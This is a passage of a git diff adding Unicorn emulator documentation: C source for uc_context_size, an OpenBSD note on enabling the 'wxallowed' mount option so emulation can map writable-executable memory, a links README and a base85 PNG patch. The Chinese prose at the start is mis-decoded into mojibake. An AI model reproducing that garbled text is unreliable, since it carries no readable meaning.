存储cpu上下文所需的大å°ï¼Œç±»åž‹ä¸º size_t. +``` + +æºç å®žçް + +```c +size_t uc_context_size(uc_engine *uc) +{ + return cpu_context_size(uc->arch, uc->mode); +} + +static size_t cpu_context_size(uc_arch arch, uc_mode mode) +{ + switch (arch) { +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: return M68K_REGS_STORAGE_SIZE; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: return X86_REGS_STORAGE_SIZE; +#endif +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: return mode & UC_MODE_BIG_ENDIAN ? ARM_REGS_STORAGE_SIZE_armeb : ARM_REGS_STORAGE_SIZE_arm; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: return mode & UC_MODE_BIG_ENDIAN ? ARM64_REGS_STORAGE_SIZE_aarch64eb : ARM64_REGS_STORAGE_SIZE_aarch64; +#endif +#ifdef UNICORN_HAS_MIPS + case UC_ARCH_MIPS: + if (mode & UC_MODE_MIPS64) { + if (mode & UC_MODE_BIG_ENDIAN) { + return MIPS64_REGS_STORAGE_SIZE_mips64; + } else { + return MIPS64_REGS_STORAGE_SIZE_mips64el; + } + } else { + if (mode & UC_MODE_BIG_ENDIAN) { + return MIPS_REGS_STORAGE_SIZE_mips; + } else { + return MIPS_REGS_STORAGE_SIZE_mipsel; + } + } +#endif +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: return mode & UC_MODE_SPARC64 ? SPARC64_REGS_STORAGE_SIZE : SPARC_REGS_STORAGE_SIZE; +#endif + default: return 0; + } +} +``` + +使用示例åŒuc_context_alloc() + + + diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/OPENBSD-NOTES.md b/ai_anti_malware/unicorn/unicorn-master/docs/OPENBSD-NOTES.md new file mode 100644 index 0000000..ab66566 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/OPENBSD-NOTES.md @@ -0,0 +1,69 @@ +## Circumventing OpenBSD 6.0's W^X Protections + +OpenBSD 6.0 and above enforces data-execution prevention (DEP or +W^X) by default, preventing memory from being mapped as +simultaneously writeable and executable (i.e., W|X). This causes +problems for Unicorn, if left in place. If you're seeing +errors like the following: +``` +/home/git/unicorn >> ./sample_arm +Emulate ARM code +zsh: abort (core dumped) ./sample_arm +``` +then W^X is likely the culprit. If we run it again with ktrace +and look at the output with kdump, we see that this is indeed +the issue: +``` + 82192 sample_arm CALL mmap(0,0x800000,0x7<PROT_READ|PROT_WRITE|PROT_EXEC>,0x1002<MAP_PRIVATE|MAP_ANON>,-1,0) + 82192 sample_arm PSIG SIGABRT SIG_DFL + 82192 sample_arm NAMI "sample_arm.core" +``` +Right now, we're in the /home filesystem. Let's look at its mount +options in /etc/fstab: +``` +1234abcdcafef00d.g /home ffs rw,nodev,nosuid 1 2 +``` +If we edit the options to include ```wxallowed```, appending +this after nosuid, for example, then we're golden: +``` +1234abcdcafef00d.g /home ffs rw,nodev,nosuid,wxallowed 1 2 +``` + +Note that this *does* diminish the security of your filesystem +somewhat, and so if you're particularly particular about such +things, we recommend setting up a dedicated filesystem for +any activities that require ```(W|X)```, such as unicorn +development and testing. + +In order for these changes to take effect, you will need to +reboot. + +_Time passes..._ + +Let's try this again. There's no need to recompile unicorn or +the samples, as (W^X) is strictly a runtime issue. + +First, we double check to see if /home has been mounted with +wxallowed: +``` +/home >> mount | grep home +/dev/sd3g on /home type ffs (local, nodev, nosuid, wxallowed) +``` +Okay, now let's try running that sample again... +``` +/home/git/unicorn/samples >> ./sample_arm +Emulate ARM code +>>> Tracing basic block at 0x10000, block size = 0x8 +>>> Tracing instruction at 0x10000, instruction size = 0x4 +>>> Emulation done. Below is the CPU context +>>> R0 = 0x37 +>>> R1 = 0x3456 +========================== +Emulate THUMB code +>>> Tracing basic block at 0x10000, block size = 0x2 +>>> Tracing instruction at 0x10000, instruction size = 0x2 +>>> Emulation done. Below is the CPU context +>>> SP = 0x1228 +``` +works fine. + diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/README.md b/ai_anti_malware/unicorn/unicorn-master/docs/README.md new file mode 100644 index 0000000..f80f57d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/README.md @@ -0,0 +1,17 @@ +Documention of Unicorn engine. + +* How to compile & install Unicorn. + + http://unicorn-engine.org/docs/ + +* Tutorial on programming with C & Python languages. + + http://unicorn-engine.org/docs/tutorial.html + +* Compare Unicorn & QEMU + + http://unicorn-engine.org/docs/beyond_qemu.html + +* Micro Uncorn-Engine API Documentation in Chinese + + https://github.com/kabeor/Micro-Unicorn-Engine-API-Documentation diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/unicorn-logo.png b/ai_anti_malware/unicorn/unicorn-master/docs/unicorn-logo.png new file mode 100644 index 0000000000000000000000000000000000000000..3e86b3c7d36471e4bfa9f896528cacc49b8b03c5 GIT binary patch literal 60383 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 